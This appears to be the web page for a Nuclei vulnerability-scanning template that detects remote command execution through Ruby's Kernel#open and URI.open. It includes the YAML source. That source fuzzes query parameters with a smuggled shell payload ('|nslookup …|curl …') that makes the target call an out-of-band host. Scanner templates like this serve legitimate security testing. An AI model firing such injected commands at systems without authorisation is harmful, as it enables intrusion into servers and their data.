Skip to content
Nuclei Templates

Ruby Kernel#open/URI.open RCE

ID: cmdi-ruby-open-rce

Severity: high

Author: pdteam

Tags: cmdi,oast,dast,blind,ruby,rce

Description

Section titled “Description”

Ruby’s Kernel#open and URI.open enables not only file access but also process invocation by prefixing a pipe symbol (e.g., open(“| ls”)). So, it may lead to Remote Code Execution by using variable input to the argument of Kernel#open and URI.open.

YAML Source

Section titled “YAML Source”
id: cmdi-ruby-open-rce


info:
  name: Ruby Kernel#open/URI.open RCE
  author: pdteam
  severity: high
  description: |
    Ruby's Kernel#open and URI.open enables not only file access but also process invocation by prefixing a pipe symbol (e.g., open(“| ls”)). So, it may lead to Remote Code Execution by using variable input to the argument of Kernel#open and URI.open.
  reference:
    - https://bishopfox.com/blog/ruby-vulnerabilities-exploits
    - https://codeql.github.com/codeql-query-help/ruby/rb-kernel-open/
  metadata:
    max-request: 1
  tags: cmdi,oast,dast,blind,ruby,rce


variables:
  marker: "{{interactsh-url}}"


http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'


    stop-at-first-match: true
    payloads:
      interaction:
        - "|nslookup {{marker}}|curl {{marker}}"


    fuzzing:
      - part: query
        fuzz:
          - "{{interaction}}"


    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a0047304502206ff78f37d4198cbd5fc84c62eaeba635201647621d943ab9306c86cb7c2538c5022100cdca6a7cc5fd5960d6c80cbc95d3730c04a44841f9bda59d373a1b7054662259:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/cmdi/ruby-open-rce.yaml"

View on Github